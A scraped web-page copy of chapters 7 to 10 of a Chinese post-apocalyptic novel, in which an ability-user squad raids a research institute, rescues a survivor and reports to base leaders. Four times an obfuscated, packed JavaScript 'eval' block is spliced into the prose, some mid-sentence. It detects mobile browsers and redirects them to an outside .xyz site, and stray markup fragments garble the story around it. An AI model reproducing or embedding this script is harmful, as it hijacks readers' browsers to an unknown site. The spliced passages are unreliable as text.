阁楼层高只有两米，压迫感十足，但空间很大，一行异能者陆陆续续爬上阁楼，对着空荡荡的阁楼面面相觑。 线索断了。 许婉滢冷静地打量着阁楼，忽然问队伍里的金属系异能者：“这栋楼里的电网和仪器可以正常运转，他们一定有发电机，并使用某种方法隐藏了发电机的噪音，你能找到发电机吗？” 维系一个研究院运转的核心，自然是电。 末世水电通讯全面中断，现在勉强可以用上电的人类基地，要么是得到了发电机，要么是借了雷电风水类异能发电。 藏在山里的研究院，不可能没有自备发电机。 金属系异能者发动异能，感知片刻，道：“在地下。” 地下？ 大家差点没反应过来。 许婉滢回顾了几遍来时的路，恍然：“湖！” 研究院背面，有一道十米高的小溪流，溪水在附近的凹陷处形成了一片小湖，湖水被人工凿出的渠道引进了后院。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544138|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “走！” 众人畅通无阻地走出了小楼。 抬头看着这座被绿藤笼罩的鬼气森森的五层小楼，内心有种不踏实感。 他们就这样毫发无伤地走出来了？ 那之前他们折损进去的那些队友算什么？ 哦对了，这次进去，他们并没有找到被吞噬的队友们…… 刚绕到后院，褚青缇眼白中的枯枝纹路消失了。 一直留心她状态的许婉滢立即问：“异能到时间了？” 褚青缇调出异能界面，脸色怪异：“……清零了。” 她深吸一口气，重复道：“我的异能持续时间，再次清零了。” 大喇喇的一排【冷却时间：无】，仿佛是在嘲笑她的不可控。 出乎她意料的是，许婉滢对此十分兴奋：“还有这种好事？赶紧再用一遍。” 褚青缇再次使用异能，面皮隐隐发热，仿佛有什么东西在皮肤之下迅速生长。 【一枚破鸡蛋：将篮子里烂掉的臭鸡蛋扔掉，剩下的鸡蛋依然能够食用。 持续时间：0/600秒。】 下一刻，她的脸被一枚指甲轻轻抵住。 “小缇子，你的脸……” 许婉滢拿指甲蹭了蹭褚青缇的脸颊，狭长魅惑的眼睛弯了弯。 “你脸上长出了纹身，挺酷的嘛。” 从许婉滢的瞳孔里，褚青缇看到了自己的脸。 原本生长在她眼白部分的枯枝纹路，逐渐向脸颊蔓延，显得怪异又荒诞。 她摸了摸脸皮，嘀咕这玩意在异能结束后应该能退掉吧。 下一秒，转盘忽然出现，指针在0—100之间乱窜，久久没有停下。 “转盘又出现了，概率不确定。” 褚青缇原本以为，只有在概率100%的情况下，她的异能才会由【毒树之果】升级为【一枚破鸡蛋】。但现在看来，好像并不是这样？ 许婉滢眼里的笑意消失了。 她不怕概率性异能。 她就怕概率性异能的不稳定。 “小缇子，你留在院子里侦查。”许婉滢指向队伍里唯一的冰系异能者，“王苏，你也留在岸上，如果发现有任何异动，以水为媒介，给我们传信。” 其实，冰系异能者是最适合下水侦查的人员，没有之一。 但眼前这名小伙子，心理承受能力实在太差，这种人放水下打头阵，只怕会头一个崩溃。 冰系异能者一旦在水里失控，那可是会灭队的。 “我？”王苏愣愣地指了指自己的鼻子，“好、好吧。” 许婉滢带着大部队下了水。 王苏在岸上施展异能，操控水流凝成冰柱，朝两边分开，让众人可以下水探查。 水底果然藏着几台巨型发电机。 发电机外罩着超强隔音的玻璃罩，这隔音效果未免也太好了，众人在岸上完全没听到机器的轰鸣声。 许婉滢一扫湖底，挥挥手，“全部带走。” 一行人如蝗虫过境，迅速搜刮走所有能带走的设备。 而岸上，天色渐渐暗了下来。 黑压压的阴云笼罩着这片山域，风雨欲来。 褚青缇无聊地抱着猫，抬头望了望天，余光瞥见一道身影，目光忽然一顿，迅速沿着刚才的视线轨道往前移动。 一个穿着连衣裙的年轻女孩，正站在小楼第五层，面无表情地看着她。 8. 第 8 章 藤蔓将女孩的身形遮挡住了一大半，褚青缇只能依稀透过叶片的缝隙，看到她白裙上绽开的一簇簇血花。 女孩刚推开窗，疯长的藤蔓很快又覆盖窗台，遮盖住了她纤弱的身姿。 那是……幸存者？ 女孩身后，无数阴影正在向她靠近。 “危险！——” 事不宜迟，褚青缇放下猫，从背后抽出复合弩，瞄准女孩身后的阴影，连发十弩。 她这把复合弩是经过巧匠改良的，射程比寻常弩箭更远，杀伤力也更强，区区五楼，自然不在话下。 猫灵巧地跃至地上，抬起毛茸茸的脑袋，圆溜溜的大眼珠子兴奋地追随弩箭的轨道。 弩箭破空而去。 褚青缇蓦然想起，自己的异能正处于失控状态，有可能会让锁定目标发生偏移。 她脸色一变，赶紧调出异能描述。 【一枚破鸡蛋：将篮子里烂掉的臭鸡蛋扔掉，剩下的鸡蛋依然能够食用。 清除毒素概率：30%。 持续时间：250/600秒。】 就在箭头破开藤蔓、射向阴影的那个瞬间，转盘上原本指向30%的指针再一次快速左右摇摆，甚至摇出了残影。 【清除毒素概率：？】 千钧一发之际，指针停在了100%的范围内。 【清除毒素概率：100%。】 箭头精准射中五楼的阴影，白裙女孩毫发无伤。 褚青缇松了一口气。 来不及多想，趁着100%的概率还在，她立马又射出几支弩箭。 弩箭穿破了缠绕在窗台上的绿色藤蔓，藤蔓如同被沸水浇过，发出“嘶嘶”的响声，粘稠的墨绿色汁水挥洒而下，宛如落了一场怪异的绿雨。 密密麻麻的藤墙上破开一个大洞，光线钻进实验室，洒在女孩脸上，女孩不适应地抬起胳膊遮挡光线。 这时，站在后院的褚青缇终于看清了五楼女孩的脸。 跟阁楼合照里的年轻女孩，一模一样。 难道真的是幸存者？ 这时候上楼，太不明智。 褚青缇问身边的冰系异能者：“你召唤出来的冰有多长、多稳固？可以搭成一条冰梯，伸到五楼吗？” 王苏挠挠头，尴尬道：“我没试过……” “那就试试！” 褚青缇架起复合弩，从背包里补充新的弩箭，飞快填满箭匣，又是一个十连发，清理掉窗台上持续生长的藤蔓。 王苏施展异能，一小截冰柱窜天而起，蹦出一米高。 小猫直起上半身，亢奋地挥舞着爪子，后肢两个轮子怼进土里冒火花。 伴随着“啪叽”一声，猫爪拍上冰柱，冰柱霎时碎了一地。 “……” “……” 褚青缇薅住捣乱的小猫，忍不住吐槽：“你确定你是冰系异能者？这也太短小脆了吧？” 王苏惭愧低头：“我没架过冰梯。” “你再试试，不行就换方案。”褚青缇补充，“我们要的，是可以承载一个成年人体重的冰柱，‘擎天柱’的‘柱’！” “我尽量。” 王苏额角冒汗，非常努力地调动异能，冰柱颤巍巍地腾空而起。 五楼，藤蔓再一次覆盖窗台，实验室里多了一些朦胧的影子，不知名的危险在向幸存女孩靠近。 褚青缇继续补充弩箭，箭头扎中未知影子。 她提声问：“小妹妹，你觉醒了异能没？” 五楼的女孩歪了歪头，迟缓地眨眨眼。 能在危机重重的研究院幸存下来，多少有点真本事。 褚青缇又问：“你有法子可以安全跳下来吗？” “跳下来？可以。” 女孩的语调有些怪异。 似乎长时间没开口说过话，嗓音艰涩，轻重音混乱。 “等会我摔成一滩烂泥，麻烦你把我拼起来。” “……那算了。”褚青缇抽了抽嘴角。 生死关头还能冷幽默，应该能撑住。 她刚这么想着，却见实验室里再度刷新了一团团奇怪的阴影，逐渐逼近女孩。 阴影所过之处，通通化为一片纯粹的黑。盯得久了，仿佛连神魂都要被吸进去。 那是什么？ 褚青缇陡然明白，临时队友们提到的先前六支小队“被吞噬”，究竟是怎样个“被吞噬”法。 五楼的女孩不避不让，坦然而安静地迎接自己的命运。 三支弩箭破窗而来，驱散了她面前的阴影。 “喂！你干什么？跑啊！”褚青缇在楼下举着复合弩，恨铁不成钢。 “跑不掉的。”女孩语气麻木，重复着，“跑不掉的。” 她永远跑不出这栋楼。 被撕咬、被吞噬、摔成烂泥，才是她的归宿。 耳畔“嗖嗖”一阵响声，又有七支弩箭射来，精准命中阴影。 阴影中箭处开始摇晃，挣扎，直至溃散。 “跑不掉也得跑！” 院子里的女弩手喘着粗气，胳膊因耗力过度而抖个不停，但她依然神情坚毅，目光一时冷冽如冰，一时又热烈如火。 无尽的生命力，在她覆满诡异枯枝纹的眼底燃烧。 她脸上的温度变得灼热，右脸颊的枯枝中生出了一簇红色的小花，缓慢而坚韧地绽放。 “哪怕摔成烂泥，也好过乖乖等死，变成一个丧失理智的怪物！” 脚边贴贴的残疾小猫附和：“喵——” 小猫的夹子音初见其效，但在场三人显然并没有心思去关注一只小猫的声线够不够甜美可爱。 它有些失落，毛茸茸的猫头一扭一扭地，拱了拱褚青缇的小腿。 在无人留意的地方，异能界面在悄无声息地发生着变化。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：开花。 毒素已被清除，请尽情享受美食。 持续时间：？】 异能界面一闪，文字被另一版本所替换。 【一枚破鸡蛋：将篮子里烂掉的臭鸡蛋扔掉，剩下的鸡蛋依然能够食用。 臭鸡蛋已被清除，请尽情享用美食。 持续时间：？】 王苏硬挤出来的冰柱，已有五六米高，刚好是两层楼的高度。 不够，远远不够。 大部队迟迟未归，而褚青缇背包里的弩箭匣，已经射空了。 五楼实验室里，阴影重新凝聚成形。 眼看阴影就要吞噬掉幸存女孩。 褚青缇张开双臂，胳膊仍旧在颤抖，“如果躲不掉，你就往下跳，我会尽可能地接住你。” “如果你没有接住我呢？” “我会把你拼凑完整，带回人类基地，好好安葬。” 褚青缇学以致用。 五楼女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544139|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩垂着眼睑，静静注视着她。 忽然，她掀掀唇，做了一个类似于笑的表情，随即两手撑在窗棂上，跃至窗台，像是一只巨大的蝴蝶，蹁跹坠去。 阴影的触手，将将触碰到她的裙底，就扑了个空。 褚青缇一呆，“喂喂喂别这么突然啊！跳之前好歹倒数一二三，打声招呼啊啊啊啊！” 女孩跳到了五六米高的冰柱上。 褚青缇刚松了一口气，只听“噶——咔擦——”一串响，冰柱裂开了。 她窜到即将崩塌的冰柱下，调整角度，接住了下坠的女孩。 “轰——” 冰柱塌了。 褚青缇和女孩被埋在了冰层下。 “嗷呜嗷呜。” 感受到腿边毛茸茸的触感，褚青缇无奈。 哦，还有一只残疾小猫。 小猫一直贴着她，冰柱坍塌的那一刻，它也没能逃过一劫。 “那个，你们该不会死了吧？”冰层外，冰系异能者慌张的声音响起，听声音几乎快哭了，“我都说了我不太会使用异能，你们不要对我抱有太大的期望啊喂。” 很快，外头响起了脚步声。 “小缇子呢？” 是队长。 王苏苦着脸，指了指那堆碎冰山。 “啧，一会没看住，怎么又闯祸了？果然小缇子离了我不行啊。”许队长肆无忌惮地嘲笑起自己最偏爱的队员，“【燎原】！” 火球炙烤着冰层，很快，碎冰堆叠成的小山就化成了小水塘。 褚青缇浑身湿透，艰难地推开压在身上的女孩，瘫倒在水边，大口大口喘着粗气，一双胳膊几乎废掉，连撑在地面上这么简单的动作也做不到。 残疾小猫蠕动着因沾水而瘦了一大圈的身体，踩着轮子爬到她脑袋旁边，用毛脑袋轻蹭她的脸颊。 异能失效，褚青缇眼底和脸颊上的纹路消散。 她一把捞住残疾小猫，把脸埋进猫毛里，狠狠吸了一口。 小猫身上有股说不上来的味道，香喷喷的，闻了教人心情愉快。 女孩的情况更糟糕。 她的身体先是砸在冰柱上，随后又下坠、被压，因位置在上的缘故而承受了更多来自碎冰山的挤压，五脏六腑几乎快挪位。 女孩咳了两声，咳出了血。 许婉滢不动声色地打量女孩，“这位是？” “幸存者。”褚青缇精疲力尽地撸着猫，有气无力回答，“阁楼里跟涂博士合照的女孩。” 是的，合照里的中年女人，就是她们曾在三楼见过的保留有人类意识的涂博士。 这也是为什么，褚青缇执意想要救她的原因。 女孩乖巧回答：“我叫涂嘉书。” 涂嘉书。 涂博士临死前，嘴里一直在嚷“假书”。 原来并不是什么假书，而是“嘉书”。 褚青缇下意识地望向五楼。 实验室里反复刷新、拥有“吞噬”之力的阴影，不知什么时候消失了。 一匣子弩箭破开的窗口，重新爬满新生的藤蔓。 不知是不是错觉，这些藤蔓似乎生长得更茂密了。 之前勉强可以透过叶片缝隙勉瞥见一二，现在的小楼被藤蔓密不透风地圈住，一眼看过去，只有一面巨大无比的藤墙。 许婉滢问：“涂博士是你什么人？” 女孩安静了一瞬，眼睑低垂，轻声道：“她是我妈妈。” 9. 第 9 章 尽管早就有所怀疑，但从女孩口中听到这个消息，褚青缇依然觉得有些讽刺。 她上一秒刚终结了涂博士的性命，下一秒就救下了涂博士的女儿。 “这里不是说话的地方，先撤。” 许婉滢朝队伍里的治疗系异能者使了个眼色。 治疗系异能者上前，简单替涂嘉书疗伤。 “脾脏破损，我暂时替她止住了血，需要回基地进一步接受治疗。” 许婉滢点头，冲褚青缇扬了扬下巴，“给我们小缇子也治治。” “用力过猛，异能透支，没有大碍，多休息就好。” 听到医者的诊断结论，许婉滢意外地扬了扬眉，挖苦道：“哟，小缇子出息了啊，平时不声不响，懵懵懂懂，搞不清楚异能怎么用。我才离开几分钟，你就学会透支异能了。” 褚青缇困扰地揉了揉眉心。 她全程使用弩箭，箭匣全射空了，异能开启后搁置在一旁，偶尔观察概率，判断弩箭应该瞄准敌人还是队友，怎么就沦落到“异能透支”了？ “哦，对了，小猫也受伤了，你帮忙看看。” 褚青缇伸手一捞，捞了个空。 等等，猫呢？ 褚青缇起身，院子里空无一猫。 她“嘬嘬”地呼唤着，头顶传来几声喵叫。 一团毛绒绒钻出藤蔓，从五楼一跃而下。 褚青缇心脏骤停，连忙伸出双臂，把猫接了个满怀。 “喵。”小猫张嘴，嘴里叼着的弩箭掉了一地。 它竟然去帮她捡弩箭了。 不等褚青缇反应过来，小猫像液体一样从她怀里挣脱，蹬着两个轮子，飞快窜进了楼里。 如此再三，总算把射出去的弩箭全叼了回来。 褚青缇掰开残疾小猫的嘴，检查它口腔有没有受伤，又谨慎地查了一遍箭头上有没有沾上异种血。 好在，两个答案都是否定的。 她心有余悸地抱着小猫，沉着脸教育：“你乱跑什么？我的箭，我自己会捡，用不着你一只毛都没长齐的小猫咪瞎操心，知不知道？” 小猫不服气地“喵喵喵”回嘴。 下一刻，它脖子一紧，落入了魔爪。 “嗬，小猫怪通人性的，没有经过训练，竟然知道主动替主子找东西呢。”许婉滢凑过来，笑眼弯弯，“更想把它切开做研究了。” “嗷噶嗷噶——” 小猫瞳孔竖起，猫爪开花，猫身扭来扭去，嘴里发出怪腔怪调的嘶吼。 许婉滢拎起小猫后腿上的两个轮子。 “刚刚对着小缇子不是挺会夹的嘛？怎么一对上我，就骂得这么难听？” 小猫吓得嗷呜乱叫，拼命挣扎着欲往褚青缇怀里扑。 褚青缇从队长手下虎口夺食，把小猫抱在怀里顺毛安抚，哭笑不得：“队长，猫的胆子很小的，禁不住吓。” 小猫泪眼汪汪，瘫在她怀里，四爪死死扒着她的衣服，软绵绵、萌乎乎地“喵”了一声，像是在告状。 这小可怜模样，完全不见半点初遇时的丧彪样。 褚青缇心都被喵化了，亲亲它的脑门：“乖，不怕不怕。” 小猫依赖地拿猫猫头拱了拱她的手心。 这小夹子。 许婉滢翻了个白眼，“小家伙还有两副面孔。” 涂嘉书坐在地上，默不作声地看着她们。 突然，她也凑过来，挤走猫猫头，脑门往褚青缇手心贴去。 褚青缇：“？” 涂嘉书看了看猫，又看了看自己，似乎在疑惑褚青缇为什么没有像安抚小猫一样安抚自己。 她努力夹出可怜巴巴的声线，“姐姐，我也害怕。” “喵！” 被挤走的小猫凶残地亮出了爪子，似乎在骂她不要脸，学猫精！ 褚青缇警告地拍了拍猫猫头，犹豫了一会，抚摸着涂嘉书的头发，放柔声音：“嘉书乖，不怕不怕。” 涂嘉书弯了弯眼睛，挤走碍事的残疾小猫，惬意地享受起来。 但很快，她就像刚才的小猫一样，被拎住了后脖子。 “喂，你是人吗你就往上凑？” 许婉滢始终笑吟吟的，看着脾气很好的模样。 但其手劲之大，几乎捏断涂嘉书的脖子。 显然，许队长并不信任这位突然冒出来的“幸存者”。 对于来历不明的幸存者厚颜无耻接近自家队员的事，她抱有十二分的防备。 “先进我们基地的研究室待着吧你。” 金属系异能者释放异能，破坏了研究院里剩余的设备和仪器。 田队长围着五层小楼堆满火药包，把整栋楼炸了个干干净净。 一行人满载而归，临走前还挖走了前院挂满果子的枇杷树。 此行，除了没能救回被吞噬掉的队友以外，可谓顺风顺水。 众人一直以来最担忧也最难应对的“吞噬”现象，这次并没有发生。 除了褚青缇本人意外被冰砸伤以外，小队可谓是无人伤亡。 返程的路上，田队长谈起这次行程的怪异之处。 他总觉得不对劲。 太顺利了。 顺利过头，不一定是好事。 许婉滢朝临时队友们笑笑，笑得高深莫测：“这就是‘概率’的力量。” “概率的力量”吗？ 众人的目光不由自主地瞥向褚青缇。 “概率”，听起来玄乎其神，看上去飘渺无用，它真的可以对整支队伍的生死产生决定性的作用吗？ 没人能说得清。 但出乎“或许如此”的私心，众人对褚青缇的态度缓和了许多。 只要她异能的概率不是该死的0%，不坑自己人，他们还是可以拿她当正常队友对待的。 众人心态的变化，褚青缇一无所知。 她背上背着伤痕累累的残疾小猫，两手推着坐在三轮车上的涂嘉书，手脚痛得快要断了。 三轮车是临时小队临时锯木头拼起来的。 这种苦差，原本轮不到她这个病患。 可受伤更严重的涂嘉书，点名道姓要求褚青缇推自己。 许婉滢不惯她，当初翻脸，举着火球威胁她自己走。 奈何这小姑娘脾气倔得很，说了只让褚青缇推，就只让褚青缇推，不推拉倒，她宁可引颈就戮。 眼看火球把涂嘉书的头发烤焦了，她依然无知无畏地犟，褚青缇只能站出来打圆场，主动担下苦差。 秘密进行基因编辑实验的研究院全军覆没，唯一幸存者却是柔弱无害的年轻小姑娘，真相怎么可能这么简单？ 涂嘉书身上，肯定有不少秘密。 好不容易才把人救出来，要是把关系搞僵了，涂嘉书拒不配合，他们不等于白忙活一场吗？ 就这样，褚青缇苦大仇深地推着三轮车，累得脸红脖子粗。 涂嘉书坐在车板上，无忧无虑地笑。 恩将仇报了属于是！ 抵达基地门口，一眼就瞧见了欧阳的身影。 欧阳脸色臭得跟死了爹一样，目光一一划过临时小队众人的脸。 被他扫过的人，纷纷低下头，作忏悔状。 除了许婉滢。 “低什么头？出息！” 褚青缇刚垂下去的头，被两根手指头架起掰直。 “出发前我怎么跟你说的？你是我的队员，听从我的命令，天经地义，不用有任何心理负担。”许婉滢哼声，“你工资又不是欧阳发的，怕什么？” 褚青缇想想觉得有道理，立马挺直了脊背。 她俩旁若无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544140|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人地表演小队情深，全然无视基地老大。 欧阳的脸色更难看了。 许婉滢脖颈高昂，像个打了胜仗的将军，挥舞着胳膊。 “欧阳，你来得正好，看看我们给你带回什么东西了！” 空间系异能者施展异能，一颗碗口粗的枇杷树“duang”地矗立在基地门口，树上黄澄澄、香喷喷的枇杷，晃花了基地居民的眼。 水果！ 新鲜的果树！ 而且还是末世前单价就不便宜的枇杷！ 欧阳脸色雨转多云，不咸不淡道：“收起来，丢门口被其它基地的人挖走了怎么办？” 空间系异能者看了一眼许婉滢，后者轻轻点头，他听话地收起树。 许婉滢凑到欧阳跟前耳语了一番，欧阳看向队伍里面生的涂嘉书，招手叫来几个兄弟，客气地把人请进研究室。 “涂小姐您好，根据我基地的规定，外来者必须接受检查才可进入基地。” 涂嘉书攥着褚青缇的袖子，乖巧点头。 “好的，青缇姐姐可以陪我吗？” 欧阳温声道：“小褚需要疗伤，等她伤好以后，我会让她多陪陪你的。” 涂嘉书紧挨着褚青缇不放。 褚青缇再三承诺会去看她，她才依依不舍地松开手。 眼睛一转。 她忽然指向褚青缇背上的猫：“猫也是外来者，猫也应该接受检查。” 褚青缇面皮一抽，不明白这小姑娘怎么就非得跟一只小猫较劲呢？ “没错。”许婉滢笑眯眯地应下来，“小缇子，借你的猫研究研究哦。” 小猫尖锐的爪子伸出肉垫，死死勾住褚青缇的衣服，圆溜溜的大眼睛可怜巴巴地望着她。 褚青缇揉了揉猫猫头，“乖，去吧，没事的，正好让医生帮你治疗治疗。” 小猫松开爪子，任由基地兄弟拎起后脖子。 正要进基地的涂嘉书忽然折返，站在褚青缇面前，微微弯腰，垂下了脑袋。 褚青缇愕然。 涂嘉书等了一会，没等来反应，抬头满脸期待地看了她几秒钟，复又垂下头去。 褚青缇满脸问号。 半晌，她想起了什么，伸手摸了摸小姑娘柔顺的长发。 “嘉书乖，去吧，没事的。” 小姑娘的头发，打理得很顺。 研究院不缺水电，似乎也不缺日用品，眼前的小姑娘像是活在另一个国度，一个没有异种、没有遭遇停水断电的世外桃源。 褚青缇分神地想着。 可实验室里，明明有异种，有异化的楼栋，还有可以吞噬一切的阴影啊。 ——她到底，是怎么安然活下来的？ 涂嘉书直起身子，嘴角的笑压都压不住。 但目光依然直勾勾地盯着褚青缇，仿佛在等待着什么。 褚青缇想了想，复盘刚才自己对猫说过的话，试探性地重复了一遍：“正好让医生帮你治疗治疗？” 涂嘉书满意地进了基地。 留下一头雾水的欧阳和基地其他人。 欧阳：“？她们这是在做什么？” 许婉滢当真沉思了一番。 “跟小猫咪争宠？”她说着，似乎自己也觉得好笑，“有些在蜜罐里长大的小年轻是这样的啦，在哪都希望自己独一无二，成为所有人的视觉中心。” “那她为什么偏偏对你翻白眼？” 如果他没看错的话，刚刚涂嘉书经过许婉滢时，眼皮朝上翻，露出了大片的眼白。 她确实翻了个白眼对吧？ 那是白眼没错吧？ 许队长脸上的笑容消失了。 “谁知道呢。”她忍住翻白眼的冲动，“或许这就是弱者对于自己一辈子只能望其项背的强者的羡慕嫉妒恨吧。” 10. 第 10 章 涂嘉书和残疾小猫被分别带去研究室接受检查。 褚青缇独自离队，找基地医生治伤。 临时小队其他人，则随欧阳去会客厅做小组汇报。 会客厅里，已有四人久候“在座的四位，大家应该都听说过他们的名字或者异能，但不一定见过本人，我简单介绍一下。” 欧阳微微一笑，手心朝上，一一掠过会客厅四位高层。 “康仁坤，治疗系异能者，他的异能是【核苷碱基修饰】。” 面容威严的中年医者微微颔首。 “李建钢，土木异能【基建狂魔】。” 灰头土脸、浑身泥点子的年轻人，憨憨地朝众人打了个招呼。 “李果，金属系异能者，异能【钾钙钠镁铝】。” 神情冷峻的青年抬眸，轻唤：“婉滢姐。” 许婉滢笑着挥手回应：“果果，好久不见啦！” “甄小柔，水系异能【百川归海】。” 脸色苍白的柔弱女孩始终低垂着头，一听欧阳点名，瞬间一个激灵，竭力把自己缩成一团，降低存在感。 许婉滢两步跨过去，笑眯眯地搭着她的肩，一副“姐俩好”的自来熟姿态。 “小柔，见到你婉滢姐姐，怎么不叫人啊？” 甄小柔仓促抬头，硬挤出一个比哭还难看的笑容，抖着嗓子，小小声道：“婉滢姐姐。” “乖。”许婉滢在她脸上捏了一把，留下一道红痕。 欧阳哭笑不得：“行了，小柔胆小，你就别逗她了。” 许婉滢这才意犹未尽地收手。 甄小柔悄悄往后缩了缩。 欧阳玩笑着解释：“小柔平时深出简居，很少露脸，没想到也会对你们这次私自行动感兴趣。” 一提到正经事，四位高层齐刷刷看向临时小队的成员们。 小队众人还沉浸在“全员脱险”的兴奋中，一见基地搞出这么大的阵仗，内心不免变得忐忑起来。 汇报采取许婉滢简述、众人轮流补充的形式进行。 高层们短暂沉默片刻，似乎在消化这段荒谬又怪异的经历。 康仁坤率先开口质疑：“你是说，那个神秘的幸存者，是被褚青缇独自用一把复合弩救出来的？” 他把“独自”俩字咬得格外重。 毕竟，褚青缇的异能有多鸡肋，大家心知肚明。 小队中的王苏怯怯举起手：“不是哦，还有我。” 许婉滢赞许地投去一眼，附和：“对，还有我们这位冰系异能者，王苏。是他搭建了一条冰梯，把幸存者接下来的。” 王苏俨然已忘记自己召唤出的冰柱一踩就碎、还砸伤两人一猫的惨痛事实。 他开心地点头：“嗯嗯，就是这样。” “听你这意思，他才是主力？”康仁坤怀疑的视线落在王苏身上。 就凭这家伙？ 眼前的冰系异能者，一看就弱。 喜怒形于色，脑子也不像很好使的样子。 “也不能这么说啦。”没想到，王苏非常不要脸地接过话，言谈之间真拿自己当主力看待。“褚青缇姐姐也射了几箭，不过她的箭射空了，还差点射中幸存者，哈哈。” 众人目光怪异地你看我、我看你。 营救幸存者时，现场只有褚青缇和王苏两个人，他们在水下搬电力设备，确实不知道具体发生了什么。 等他们上岸时，两人一猫被压在碎冰山下。多亏许队长及时用火球融化冰层，才救下三条命。 若说主力是遇事一惊一乍的王苏…… 不管别人信不信，反正他们是不信的。 “真的。”王苏目光澄澈，满是对自己圆满完成任务的骄傲，“幸存者能出来，我得记一等功。” 康仁坤还想说什么，许婉滢直接盖章认同。 “对，这次多亏了王苏。” 欧阳推了推金丝眼镜，温和地看向王苏：“待会散了会，你登记一下有什么想要的，我安排人尽力帮你找。” “真的吗？”王苏激动坏了，猛地蹦到欧阳跟前，超大声嚷嚷，“谢谢老大！” 欧阳被这一声吼叫吵得差点耳鸣，脑仁突突地疼。 被这一打岔，众人的议题差点跑偏。 康仁坤努力把话题中心拉回正事，“你们从研究院带出来的东西在哪？” 许婉滢瞥向队里的空间系异能者，后者抖了抖脚，放出一棵五米高的枇杷树，瞬间把会客厅的天花板戳出了一个洞。 “……我不是说果树！”康仁坤脸色铁青。 这些家伙是不是故意的？ 什么人会在屋子里丢出一棵比层高还高的树啊！ 空间系异能者挠挠头，收起枇杷树，解下腰包，拉开拉链，噼里啪啦往下倒。 “住手！你干什么？砸到药剂瓶怎么办？” 康仁坤瞳孔一紧，瞬间扑上去再卧倒，充当起人体垫子，接住从腰包里抖出来的……心电图机？？？ 沉重的金属设备砸下来，康仁坤清除地听到自己肋骨断裂的清脆“嘎嘣”响。 “你、你……” 他伸出手，推开心电图机，颤巍巍地指着傻眼了的空间系异能者。 队伍里的治疗系异能者连忙施展异能，想替他治疗。 他不耐烦地打断，傲慢地扫了对方一眼，“在【核苷碱基修饰】面前，还用着你那点不够看的治疗异能？” 治疗系异能者不知所措地待在原地，涨红了脸：“对、对不起，康医生。” 康仁坤丢给自己一个异能疗伤，随口问道：“你的异能叫什么？” “绷、绷带。” “【绷带】？” 女孩没想到能得到同类前辈的关注，生出一种业内小透明见到前辈大佬的激动。 她鼓起勇气，自我介绍：“我叫孙静雅，我以前是社区医院的护士，经常替病人止血和急救。” “社区医院护士？卫校毕业的？”康仁坤语气轻蔑，毫不掩饰自己的不屑，“你知道我是什么人不？985医学博士，南城三甲医院主任医师。” 小护士脸上因激动而散发的红晕渐渐退去。 她呆呆地看着康仁坤，喃喃道：“可现在已经是末世了呀，搞学历歧视有意义吗？” “我知道我学历、称职、医术都不如前辈你。” “但末世最缺的就是治疗系。” 孙静雅一字一句，认真地说道。 “我异能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544141|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确不强。但我救过的人，或许不比前辈你救过的少。” 康仁坤被怼得说不出话来。 半天，他才从嗓子眼里挤出一句：“伶牙俐齿！” “行了，康医生，少说两句，你跟一个小姑娘计较什么？”欧阳笑着打圆场。 这句话听起来似乎没什么问题，目的也是为了化解矛盾，他完全出于好意。 孙静雅咬了咬唇，心里有些不舒服。 一点不舒服而已，很正常，这种情况她遇到的多了，犯不着跟老大及高层闹不愉快。 她习惯性地忍了下来。 但有人却忍不了。 “什么叫‘跟一个小姑娘计较什么’？这话说得，好像做错事的是小护士一样。”许婉滢没好气地呛声。 “好好好，是我失言。”欧阳颇为无奈，“婉滢，你也少说两句。” 许婉滢手指放在嘴边，做了一个拉拉链的动作。 欧阳主持会议：“继续，你们带出来的东西呢？” 空间系异能者瞥向许婉滢，后者不说话也不表态，他举着腰包的手僵在了半空中。 欧阳询问地看向许婉滢。 许婉滢回以一个拉拉链的动作。 他深深叹气：“婉滢，先说正事。你要是不高兴，回头随便你怎么撒气，成不？” 